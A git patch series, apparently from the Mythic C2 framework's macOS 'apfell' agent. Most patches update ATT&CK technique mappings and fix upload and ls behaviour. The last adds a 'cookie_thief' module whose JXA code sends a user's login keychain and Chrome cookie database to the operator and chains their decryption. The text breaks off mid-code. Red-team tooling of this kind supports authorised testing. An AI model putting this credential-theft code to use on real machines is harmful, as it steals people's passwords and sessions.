with the host, including the NETBIOS name if the computer is domain joined" version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1082"] argument_class = HostnameArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/ifconfig.py b/Payload_Type/apfell/mythic/agent_functions/ifconfig.py index 7385896..09cff61 100644 --- a/Payload_Type/apfell/mythic/agent_functions/ifconfig.py +++ b/Payload_Type/apfell/mythic/agent_functions/ifconfig.py @@ -19,7 +19,7 @@ class IfconfigCommand(CommandBase): description = "Return all the IP addresses associated with the host" version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1082"] argument_class = IfconfigArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/iterm.py b/Payload_Type/apfell/mythic/agent_functions/iterm.py index 9c355c9..24cd015 100644 --- a/Payload_Type/apfell/mythic/agent_functions/iterm.py +++ b/Payload_Type/apfell/mythic/agent_functions/iterm.py @@ -19,7 +19,7 @@ class ITermCommand(CommandBase): description = "Read the contents of all open iTerm tabs if iTerms is open, otherwise just inform the operator that it's not currently running" version = 1 author = "@its_a_feature_" - attackmapping = ["T1139", "T1056"] + attackmapping = ["T1552.003", "T1552", "T1056", "T1559"] argument_class = ITermArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/jscript.py b/Payload_Type/apfell/mythic/agent_functions/jscript.py index 88b6227..7781ae5 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jscript.py +++ b/Payload_Type/apfell/mythic/agent_functions/jscript.py @@ -33,7 +33,7 @@ class JscriptCommand(CommandBase): description = "This runs the JavaScript command, {command}, and returns its output via an eval(). The output will get passed through ObjC.deepUnwrap to parse out basic data types from ObjectiveC and get strings back" version = 1 author = "@its_a_feature_" - attackmapping = ["T1064"] + attackmapping = ["T1059.002"] argument_class = JscriptArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/jsimport.py b/Payload_Type/apfell/mythic/agent_functions/jsimport.py index 54065da..b1dcec6 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jsimport.py +++ b/Payload_Type/apfell/mythic/agent_functions/jsimport.py @@ -38,7 +38,7 @@ class JsimportCommand(CommandBase): description = "import a JXA file into memory. Only one can be imported at a time." version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1020", "T1030", "T1041", "T1620", "T1105"] argument_class = JsimportArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py b/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py index 53a2c17..a3bfa26 100644 --- a/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py +++ b/Payload_Type/apfell/mythic/agent_functions/jsimport_call.py @@ -33,7 +33,7 @@ class JsimportCallCommand(CommandBase): description = "call a function from within the JS file that was imported with 'jsimport'. This function call is appended to the end of the jsimport code and called via eval." version = 1 author = "@its_a_feature_" - attackmapping = ["T1155", "T1064"] + attackmapping = ["T1059.002"] argument_class = JsimportCallArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/launchapp.py b/Payload_Type/apfell/mythic/agent_functions/launchapp.py index 39a9d31..fe12f9b 100644 --- a/Payload_Type/apfell/mythic/agent_functions/launchapp.py +++ b/Payload_Type/apfell/mythic/agent_functions/launchapp.py @@ -34,7 +34,7 @@ class LaunchAppCommand(CommandBase): description = "This uses the Objective C bridge to launch the specified app asynchronously and 'hidden' (it'll still show up in the dock for now). An example of the bundle name is 'com.apple.itunes' for launching iTunes." version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1564.003"] argument_class = LaunchAppArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py b/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py index 3c0d974..b8f2beb 100644 --- a/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py +++ b/Payload_Type/apfell/mythic/agent_functions/list_entitlements.py @@ -35,7 +35,7 @@ class ListEntitlementsCommand(CommandBase): description = "This uses JXA to list the entitlements for a running process" version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1057"] argument_class = ListEntitlementsArguments supported_ui_features = ["list_entitlements:list"] browser_script = [BrowserScript(script_name="list_entitlements_new", author="@its_a_feature_", for_new_ui=True)] diff --git a/Payload_Type/apfell/mythic/agent_functions/list_users.py b/Payload_Type/apfell/mythic/agent_functions/list_users.py index 2564f2b..ad903e2 100644 --- a/Payload_Type/apfell/mythic/agent_functions/list_users.py +++ b/Payload_Type/apfell/mythic/agent_functions/list_users.py @@ -37,7 +37,7 @@ class ListUsersCommand(CommandBase): description = "This uses JXA to list the non-service user accounts on the system. You can specify a GID to look at the users of a certain group or you can specify 'groups' to be true and enumerate users by groups" version = 1 author = "@its_a_feature_" - attackmapping = ["T1087", "T1069"] + attackmapping = ["T1087", "T1087.001", "T1087.002", "T1069", "T1069.001", "T1069.002"] argument_class = ListUsersArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/load.py b/Payload_Type/apfell/mythic/agent_functions/load.py index 33181bd..2b9282f 100644 --- a/Payload_Type/apfell/mythic/agent_functions/load.py +++ b/Payload_Type/apfell/mythic/agent_functions/load.py @@ -37,7 +37,7 @@ class LoadCommand(CommandBase): version = 1 author = "@its_a_feature_" parameters = [] - attackmapping = ["T1030", "T1129"] + attackmapping = ["T1030", "T1129", "T1059.002", "T1620"] argument_class = LoadArguments attributes = CommandAttributes( suggested_command=True diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_emond.py b/Payload_Type/apfell/mythic/agent_functions/persist_emond.py index 3e9715d..e451a19 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_emond.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_emond.py @@ -58,7 +58,7 @@ class PersistEmondCommand(CommandBase): description = "Create persistence with an emond plist file in /etc/emond.d/rules/ and a .DS_Store file to trigger it" version = 1 author = "@its_a_feature_" - attackmapping = ["T1150"] + attackmapping = ["T1547.011", "T1053", "T1546.014"] argument_class = PersistEmondArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py b/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py index afe36bd..36ad573 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_folderaction.py @@ -72,7 +72,7 @@ class PersistFolderactionCommand(CommandBase): description = "Use Folder Actions to persist a compiled script on disk. You can either specify a 'URL' and automatically do a backgrounding one-liner, or supply your own code and language." version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1546"] argument_class = PersistFolderactionArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_launch.py b/Payload_Type/apfell/mythic/agent_functions/persist_launch.py index ae26951..83cfd56 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_launch.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_launch.py @@ -59,7 +59,7 @@ class PersistLaunchCommand(CommandBase): description = "Create a launch agent or daemon plist file and either automatically put it in ~/Library/LaunchAgents or if LocalAgent is false, save it to the specified location. If you want an elevated launch agent or launch daemon( /Library/LaunchAgents or /Library/LaunchDaemons), you either need to be in an elevated context already and specify the path or use something like shell_elevated to copy it there. If the first arg is 'apfell-jxa' then the agent will automatically construct a plist appropriate oneliner to use where arg1 should be the URL to reach out to for the payload." version = 1 author = "@its_a_feature_" - attackmapping = ["T1159", "T1160"] + attackmapping = ["T1543.001", "T1543.004"] argument_class = PersistLaunchArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py b/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py index cb17a1d..0c0519e 100644 --- a/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py +++ b/Payload_Type/apfell/mythic/agent_functions/persist_loginitem_allusers.py @@ -35,7 +35,7 @@ class PersistLoginItemAllUsersCommand(CommandBase): description = "Add a login item for all users via the LSSharedFileListInsertItemURL. The kLSSharedFileListGlobalLoginItems constant is used when creating the shared list in the LSSharedFileListCreate function. Before calling LSSharedFileListInsertItemURL, AuthorizationCreate is called to obtain the necessary rights. If the current user is not an administrator, the LSSharedFileListInsertItemURL function will fail" version = 1 author = "@xorrior" - attackmapping = [] + attackmapping = ["T1547.015"] argument_class = PersistLoginItemAllUsersArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/prompt.py b/Payload_Type/apfell/mythic/agent_functions/prompt.py index ecedf46..c6f1b41 100644 --- a/Payload_Type/apfell/mythic/agent_functions/prompt.py +++ b/Payload_Type/apfell/mythic/agent_functions/prompt.py @@ -51,7 +51,7 @@ class PromptCommand(CommandBase): description = "Create a custom prompt to ask the user for credentials where you can provide titles, icons, text and default answer." version = 1 author = "@its_a_feature_" - attackmapping = ["T1141"] + attackmapping = ["T1056.002"] argument_class = PromptArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/rm.py b/Payload_Type/apfell/mythic/agent_functions/rm.py index c66e225..c49e889 100644 --- a/Payload_Type/apfell/mythic/agent_functions/rm.py +++ b/Payload_Type/apfell/mythic/agent_functions/rm.py @@ -39,7 +39,7 @@ class RmCommand(CommandBase): version = 1 supported_ui_features = ["file_browser:remove"] author = "@its_a_feature_" - attackmapping = ["T1106", "T1107"] + attackmapping = ["T1106", "T1070.004"] argument_class = RmArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/security_info.py b/Payload_Type/apfell/mythic/agent_functions/security_info.py index bab7a0e..c6f611c 100644 --- a/Payload_Type/apfell/mythic/agent_functions/security_info.py +++ b/Payload_Type/apfell/mythic/agent_functions/security_info.py @@ -19,7 +19,7 @@ class SecurityInfoCommand(CommandBase): description = 'This uses JXA to list some security information about the system by contacting the "System Events" application via Apple Events. This can cause a popup or be denied in Mojave and later' version = 1 author = "@its_a_feature_" - attackmapping = ["T1201"] + attackmapping = ["T1082"] argument_class = SecurityInfoArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/shell.py b/Payload_Type/apfell/mythic/agent_functions/shell.py index 38b7182..20b7af2 100644 --- a/Payload_Type/apfell/mythic/agent_functions/shell.py +++ b/Payload_Type/apfell/mythic/agent_functions/shell.py @@ -65,7 +65,7 @@ class ShellCommand(CommandBase): WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!""" version = 1 author = "@its_a_feature_" - attackmapping = ["T1059"] + attackmapping = ["T1059", "T1059.004"] argument_class = ShellArguments opsec_class = ShellOPSEC attributes = CommandAttributes( diff --git a/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py b/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py index 111aa25..e8b7369 100644 --- a/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py +++ b/Payload_Type/apfell/mythic/agent_functions/shell_elevated.py @@ -56,7 +56,7 @@ class ShellElevatedCommand(CommandBase): """ version = 1 author = "@its_a_feature_" - attackmapping = ["T1059", "T1141", "T1169"] + attackmapping = ["T1059", "T1059.004", "T1548.004"] argument_class = ShellElevatedArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py b/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py index 31a9567..2919ec5 100644 --- a/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py +++ b/Payload_Type/apfell/mythic/agent_functions/spawn_download_cradle.py @@ -30,7 +30,7 @@ class SpawnDownloadCradleCommand(CommandBase): description = "Spawn a new osascript download cradle as a backgrounded process to launch a new callback" version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1059.002", "T1553.001", "T1620"] argument_class = SpawnDownloadCradleArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py b/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py index 6837960..4e129ef 100644 --- a/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py +++ b/Payload_Type/apfell/mythic/agent_functions/spawn_drop_and_execute.py @@ -32,7 +32,7 @@ class SpawnDropAndExecuteCommand(CommandBase): description = "Generate a new payload, drop it to a temp location, execute it with osascript as a background process, and then delete the file. Automatically reports back the temp file it created" version = 1 author = "@its_a_feature_" - attackmapping = [] + attackmapping = ["T1059.002", "T1553.001"] argument_class = SpawnDropAndExecuteArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/terminals_read.py b/Payload_Type/apfell/mythic/agent_functions/terminals_read.py index f288de8..2cbc649 100644 --- a/Payload_Type/apfell/mythic/agent_functions/terminals_read.py +++ b/Payload_Type/apfell/mythic/agent_functions/terminals_read.py @@ -34,7 +34,7 @@ class TerminalsReadCommand(CommandBase): """ version = 1 author = "@its_a_feature_" - attackmapping = ["T1139", "T1056"] + attackmapping = ["T1552.003", "T1056", "T1552", "T1559"] argument_class = TerminalsReadArguments browser_script = BrowserScript( script_name="terminals_read", author="@its_a_feature_" diff --git a/Payload_Type/apfell/mythic/agent_functions/terminals_send.py b/Payload_Type/apfell/mythic/agent_functions/terminals_send.py index 3523afc..f5262ca 100644 --- a/Payload_Type/apfell/mythic/agent_functions/terminals_send.py +++ b/Payload_Type/apfell/mythic/agent_functions/terminals_send.py @@ -47,7 +47,7 @@ class TerminalsSendCommand(CommandBase): """ version = 1 author = "@its_a_feature_" - attackmapping = ["T1059", "T1184"] + attackmapping = ["T1552", "T1559", "T1548.003", "T1059.004"] argument_class = TerminalsSendArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/test_password.py b/Payload_Type/apfell/mythic/agent_functions/test_password.py index 9b41d40..a4eec32 100644 --- a/Payload_Type/apfell/mythic/agent_functions/test_password.py +++ b/Payload_Type/apfell/mythic/agent_functions/test_password.py @@ -37,7 +37,7 @@ class TestPasswordCommand(CommandBase): description = "Tests a password against a user to see if it's valid via an API call" version = 1 author = "@its_a_feature_" - attackmapping = ["T1110"] + attackmapping = ["T1110", "T1110.001"] argument_class = TestPasswordArguments async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/apfell/mythic/agent_functions/upload.py b/Payload_Type/apfell/mythic/agent_functions/upload.py index c0a89a1..f3a587d 100644 --- a/Payload_Type/apfell/mythic/agent_functions/upload.py +++ b/Payload_Type/apfell/mythic/agent_functions/upload.py @@ -81,7 +81,7 @@ class UploadCommand(CommandBase): version = 1 supported_ui_features = ["file_browser:upload"] author = "@its_a_feature_" - attackmapping = ["T1132", "T1030", "T1105"] + attackmapping = ["T1020", "T1030", "T1041", "T1105"] argument_class = UploadArguments attributes = CommandAttributes( suggested_command=True From bcaed0a8b8d16d8940dae176815b90eefa7fb5d4 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Thu, 27 Jan 2022 17:05:36 -0800 Subject: [PATCH 6/8] updating the new screenshot command's browser script --- .../apfell/mythic/agent_functions/upload.py | 22 +++++++++++++------ .../browser_scripts/list_entitlements_new.js | 5 +++-- .../mythic/browser_scripts/screenshot_new.js | 4 ++-- 3 files changed, 20 insertions(+), 11 deletions(-) diff --git a/Payload_Type/apfell/mythic/agent_functions/upload.py b/Payload_Type/apfell/mythic/agent_functions/upload.py index f3a587d..9d7972b 100644 --- a/Payload_Type/apfell/mythic/agent_functions/upload.py +++ b/Payload_Type/apfell/mythic/agent_functions/upload.py @@ -11,7 +11,8 @@ def __init__(self, command_line, **kwargs): parameter_group_info=[ ParameterGroupInfo( required=True, - group_name="Default" + group_name="Default", + ui_position=0 ) ] ), @@ -22,6 +23,7 @@ def __init__(self, command_line, **kwargs): parameter_group_info=[ ParameterGroupInfo( required=True, + ui_position=0, group_name="specify already uploaded file by name" ) ] @@ -64,10 +66,13 @@ async def get_files(self, callback: dict) -> [str]: if file_resp.status == MythicRPCStatus.Success: file_names = [] for f in file_resp.response: + # await MythicRPC().execute("get_file_contents", agent_file_id=f["agent_file_id"]) if f["filename"] not in file_names: file_names.append(f["filename"]) return file_names else: + await MythicRPC().execute("create_event_message", warning=True, + message=f"Failed to get files: {file_resp.error}") return [] @@ -96,12 +101,15 @@ async def create_tasking(self, task: MythicTask) -> MythicTask: task_id=task.id, get_contents=False) if file_resp.status == MythicRPCStatus.Success: - original_file_name = file_resp.response[0]["filename"] - if len(task.args.get_arg("remote_path")) == 0: - task.args.add_arg("remote_path", original_file_name) - elif task.args.get_arg("remote_path")[-1] == "/": - task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name) - task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}" + if len(file_resp.response) > 0: + original_file_name = file_resp.response[0]["filename"] + if len(task.args.get_arg("remote_path")) == 0: + task.args.add_arg("remote_path", original_file_name) + elif task.args.get_arg("remote_path")[-1] == "/": + task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name) + task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}" + else: + raise Exception("Failed to find that file") else: raise Exception("Error from Mythic trying to get file: " + str(file_resp.error)) elif groupName == "specify already uploaded file by name": diff --git a/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js b/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js index 1663813..e0f66a0 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/list_entitlements_new.js @@ -11,7 +11,8 @@ function(task, responses){ {"plaintext": "pid", "type": "string", "width": 100}, {"plaintext": "name", "type": "string", "fillWidth": true}, {"plaintext": "bundle", "type": "string", "fillWidth": true}, - {"plaintext": "entitlements", "type": "button", "width": 200}]; + {"plaintext": "entitlements", "type": "button", "width": 200}, + {"plaintext": "test", "type": "button", "width": 200}]; let data = ""; try{ data = JSON.parse(responses[0]); @@ -36,7 +37,7 @@ function(task, responses){ "leftColumnTitle": "Entitlements", "rightColumnTitle": "Value", "title": "Viewing Entitlements" - }} + }}, }; rows.push(row); } diff --git a/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js b/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js index 8a71f98..96b96e3 100644 --- a/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js +++ b/Payload_Type/apfell/mythic/browser_scripts/screenshot_new.js @@ -8,7 +8,7 @@ function(task, responses){ if(responses.length > 0){ let data = JSON.parse(responses[0]); return {"screenshot":[{ - "agent_file_id": data["file_id"], + "agent_file_id": [data["file_id"]], "variant": "contained", "name": "View Screenshot" }]}; @@ -21,7 +21,7 @@ function(task, responses){ if(responses.length > 0){ let data = JSON.parse(responses[0]); return {"screenshot":[{ - "agent_file_id": data["file_id"], + "agent_file_id": [data["file_id"]], "variant": "contained", "name": "View Partial Screenshot" }]}; From 581b9e79d2c5f08711b9e1deb9d2f669f77843b8 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Fri, 28 Jan 2022 13:19:55 -0800 Subject: [PATCH 7/8] updated pypi version and fixed ls issues with symlinks --- Payload_Type/apfell/Dockerfile | 2 +- Payload_Type/apfell/agent_code/ls.js | 20 ++++++++++++++++---- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/Payload_Type/apfell/Dockerfile b/Payload_Type/apfell/Dockerfile index 77bc3a1..933ee6f 100755 --- a/Payload_Type/apfell/Dockerfile +++ b/Payload_Type/apfell/Dockerfile @@ -1 +1 @@ -FROM itsafeaturemythic/python38_payload:0.0.11 \ No newline at end of file +FROM itsafeaturemythic/python38_payload:0.1.0 \ No newline at end of file diff --git a/Payload_Type/apfell/agent_code/ls.js b/Payload_Type/apfell/agent_code/ls.js index 3a7b384..0246b7e 100755 --- a/Payload_Type/apfell/agent_code/ls.js +++ b/Payload_Type/apfell/agent_code/ls.js @@ -16,7 +16,7 @@ exports.ls = function(task, command, params){ }; } } - if (path[0] === '"') { + if (path[0] === '"' || path[0] === "'") { path = path.substring(1, path.length - 1); } if(path[0] === '~'){ @@ -76,12 +76,24 @@ exports.ls = function(task, command, params){ } } let nsposix = attributes['NSFilePosixPermissions']; - let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1, -1); + let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1); if( components.length > 0 && components[0] === "Macintosh HD"){ components.pop(); } - output['parent_path'] = "/" + components.join("/"); - output['name'] = fileManager.displayNameAtPath(path).js; + // say components = "etc, krb5.keytab" + // check all components to see if they're symlinks + let parent_path = "/"; + for(let p = 0; p < components.length; p++){ + let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js; + if(resolvedSymLink){ + parent_path = parent_path + resolvedSymLink + "/"; + }else{ + parent_path = parent_path + components[p] + "/"; + } + } + output['name'] = fileManager.displayNameAtPath(parent_path).js; + output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1)); + if(output['name'] === "Macintosh HD"){output['name'] = "/";} if(output['name'] === output['parent_path']){output['parent_path'] = "";} output['size'] = attributes['NSFileSize']; From 52feb77534a720548b14df3864b9e8c94cfc7ba7 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Sun, 30 Jan 2022 16:51:04 -0800 Subject: [PATCH 8/8] updating apfell for version 2.3.7 and adding in @antman1p 's PR for the cookie_thief command --- Payload_Type/apfell/Dockerfile | 2 +- .../apfell/agent_code/cookie_thief.js | 55 + .../mythic/agent_functions/cookie_thief.py | 152 ++ .../agent_functions/decrypt_chrome_cookies.py | 167 ++ .../agent_functions/decrypt_keychain.py | 190 +++ .../apfell/mythic/agent_functions/load.py | 53 +- .../apfell/mythic/chainbreaker/.gitignore | 266 ++++ .../apfell/mythic/chainbreaker/LICENSE | 339 ++++ .../apfell/mythic/chainbreaker/README.md | 305 ++++ .../mythic/chainbreaker/chainbreaker.py | 1402 +++++++++++++++++ .../apfell/mythic/chainbreaker/pbkdf2.py | 93 ++ .../apfell/mythic/chainbreaker/pyDes.py | 810 ++++++++++ .../apfell/mythic/chainbreaker/schema.py | 495 ++++++ .../apfell/mythic/pycookiecheat/AUTHORS.md | 11 + .../apfell/mythic/pycookiecheat/LICENSE | 22 + .../apfell/mythic/pycookiecheat/README.md | 102 ++ .../apfell/mythic/pycookiecheat/__init__.py | 0 .../mythic/pycookiecheat/pycookiecheat.py | 88 ++ 18 files changed, 4536 insertions(+), 16 deletions(-) create mode 100644 Payload_Type/apfell/agent_code/cookie_thief.js create mode 100644 Payload_Type/apfell/mythic/agent_functions/cookie_thief.py create mode 100644 Payload_Type/apfell/mythic/agent_functions/decrypt_chrome_cookies.py create mode 100644 Payload_Type/apfell/mythic/agent_functions/decrypt_keychain.py create mode 100644 Payload_Type/apfell/mythic/chainbreaker/.gitignore create mode 100644 Payload_Type/apfell/mythic/chainbreaker/LICENSE create mode 100644 Payload_Type/apfell/mythic/chainbreaker/README.md create mode 100755 Payload_Type/apfell/mythic/chainbreaker/chainbreaker.py create mode 100644 Payload_Type/apfell/mythic/chainbreaker/pbkdf2.py create mode 100644 Payload_Type/apfell/mythic/chainbreaker/pyDes.py create mode 100644 Payload_Type/apfell/mythic/chainbreaker/schema.py create mode 100644 Payload_Type/apfell/mythic/pycookiecheat/AUTHORS.md create mode 100644 Payload_Type/apfell/mythic/pycookiecheat/LICENSE create mode 100644 Payload_Type/apfell/mythic/pycookiecheat/README.md create mode 100644 Payload_Type/apfell/mythic/pycookiecheat/__init__.py create mode 100644 Payload_Type/apfell/mythic/pycookiecheat/pycookiecheat.py diff --git a/Payload_Type/apfell/Dockerfile b/Payload_Type/apfell/Dockerfile index 933ee6f..4f04fa8 100755 --- a/Payload_Type/apfell/Dockerfile +++ b/Payload_Type/apfell/Dockerfile @@ -1 +1 @@ -FROM itsafeaturemythic/python38_payload:0.1.0 \ No newline at end of file +FROM itsafeaturemythic/python38_payload:0.1.1 \ No newline at end of file diff --git a/Payload_Type/apfell/agent_code/cookie_thief.js b/Payload_Type/apfell/agent_code/cookie_thief.js new file mode 100644 index 0000000..f311799 --- /dev/null +++ b/Payload_Type/apfell/agent_code/cookie_thief.js @@ -0,0 +1,55 @@ +exports.cookie_thief = function(task, command, params){ + let config = JSON.parse(params); + let keyDL_status = {}; + let cookieDL_status = {}; + let password = ""; + var username = ""; + let browser = "chrome"; + let homedir = "/Users/"; + let keychainpath = "/Library/Keychains/login.keychain-db"; + let chromeCookieDir = "/Library/Application Support/Google/Chrome/Default/Cookies"; + let cookiedir = "/Library/Application Support/Google/Chrome/Default/Cookies"; + + if(config.hasOwnProperty("password") && typeof config['password'] == 'string'){ + password = config['password']; + } + else { + return {'user_output': "Must supply the user's login password", "completed": true, "status": "error"}; + } + + if(config.hasOwnProperty("username") && typeof config['username'] == 'string' && config['username']) { + username = config['username']; + } + else { + return {'user_output': "Must supply the username", "completed": true, "status": "error"}; + } + let cookiepath = homedir + username; + + if(config.hasOwnProperty("browser") && typeof config['browser'] == 'string'){ + browser = config['browser']; + } + + if(browser === "chrome") { + cookiedir = chromeCookieDir; + } + let cookieDLPath = cookiepath + cookiedir; + + try{ + cookieDL_status = C2.download(task, cookieDLPath); + } + catch(error) { + return {'user_output': error.toString(), "completed": true, "status": "error"}; + } + + let keypath = homedir + username + keychainpath; + try{ + keyDL_status = C2.download(task, keypath); + if(keyDL_status.hasOwnProperty("file_id")){ + keyDL_status['user_output'] = "\nFinished Downloading KeychainDB and Cookies\n"; + } + } + catch(error) { + return {'user_output': error.toString(), "completed": true, "status": "error"}; + } + return keyDL_status; +}; diff --git a/Payload_Type/apfell/mythic/agent_functions/cookie_thief.py b/Payload_Type/apfell/mythic/agent_functions/cookie_thief.py new file mode 100644 index 0000000..ccd5915 --- /dev/null +++ b/Payload_Type/apfell/mythic/agent_functions/cookie_thief.py @@ -0,0 +1,152 @@ +from mythic_payloadtype_container.MythicCommandBase import * +from mythic_payloadtype_container.MythicRPC import * +import sys + + +class CookieThiefArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + display_name="User Login Password", + name="password", + type=ParameterType.String, + description="p@55w0rd_here for user login", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=1 + ) + ] + ), + CommandParameter( + name="browser", + type=ParameterType.ChooseOne, + choices=["chrome"], + description="choose the browser to steal cookies from", + default_value="chrome", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + ui_position=2 + ) + ] + ), + CommandParameter( + name="username", + type=ParameterType.String, + description="Victim's username from whom to steal the cookies", + parameter_group_info=[ + ParameterGroupInfo( + required=True, + ui_position=3 + ) + ] + ), + ] + + async def parse_arguments(self): + self.load_args_from_json_string(self.command_line) + + +class CookieThiefCommand(CommandBase): + cmd = "cookie_thief" + needs_admin = False + help_cmd = "cookie_thief -password \"user account password\" -browser {browser} -username {username}" + description = "Downloads the keychain db and browser cookies, decrypts the keychain, extracts the cookie key and decrypts the cookies." + version = 1 + supported_ui_features = [""] + author = "@antman" + parameters = [] + attackmapping = ["T1539", "T1555"] + argument_class = CookieThiefArguments + browser_script = BrowserScript(script_name="cookie_thief", author="@antman1p") + + async def create_tasking(self, task: MythicTask) -> MythicTask: + task.completed_callback_function = self.downloads_complete + return task + + async def process_response(self, response: AgentResponse): + pass + + async def downloads_complete(self, task: MythicTask, subtask: dict = None, subtask_group_name: str = None) -> MythicTask: + if task.status == MythicStatus.Completed: + responses = await MythicRPC().execute("get_responses", task_id=task.id) + if responses.status == MythicStatus.Success: + for f in responses.response["files"]: + await MythicRPC().execute("update_file", file_id=f["agent_file_id"], + comment=task.args.get_arg('username')) + if f["filename"] == "login.keychain-db": + + task.status = MythicStatus("delegating") + decryptTask = await MythicRPC().execute("create_subtask", + parent_task_id=task.id, + command="decrypt_keychain", + params_dict={ + "password": task.args.get_arg("password"), + "username": task.args.get_arg("username"), + "file_id": f["agent_file_id"] + }, + subtask_callback_function="decrypt_complete") + if decryptTask.status == MythicRPCStatus.Success: + pass + else: + await MythicRPC().execute("create_output", task_id=task.id, + output=decryptTask.error) + task.status = MythicStatus("Error: Failed to issue decryption subtask") + return task + else: + await MythicRPC().execute("create_output", task_id=task.id, + output="Not automatically decrypting since downloading failed\n") + return task + + async def decrypt_complete(self, task: MythicTask, subtask: dict = None, + subtask_group_name: str = None) -> MythicTask: + # now we should have some credentials, specifically the chrome safe storage credential + # task is the cookie_thief command, subtask is the result of my decrypt_keychain command + if subtask["status"] == "completed": + chrome_password = await MythicRPC().execute("get_credential", + task_id=task.id, + account="Chrome", + realm="Chrome Safe Storage", + comment=task.args.get_arg("username")) + if chrome_password.status == MythicRPCStatus.Success and len(chrome_password.response) > 0: + task.status = MythicStatus("delegating") + responses = await MythicRPC().execute("get_responses", task_id=task.id) + if responses.status == MythicStatus.Success: + for f in responses.response["files"]: + if f["filename"].lower() == "cookies": + cookie_decrypt_task = await MythicRPC().execute("create_subtask", + parent_task_id=task.id, + command="decrypt_chrome_cookies", + params_dict={ + "username": task.args.get_arg("username"), + "password": 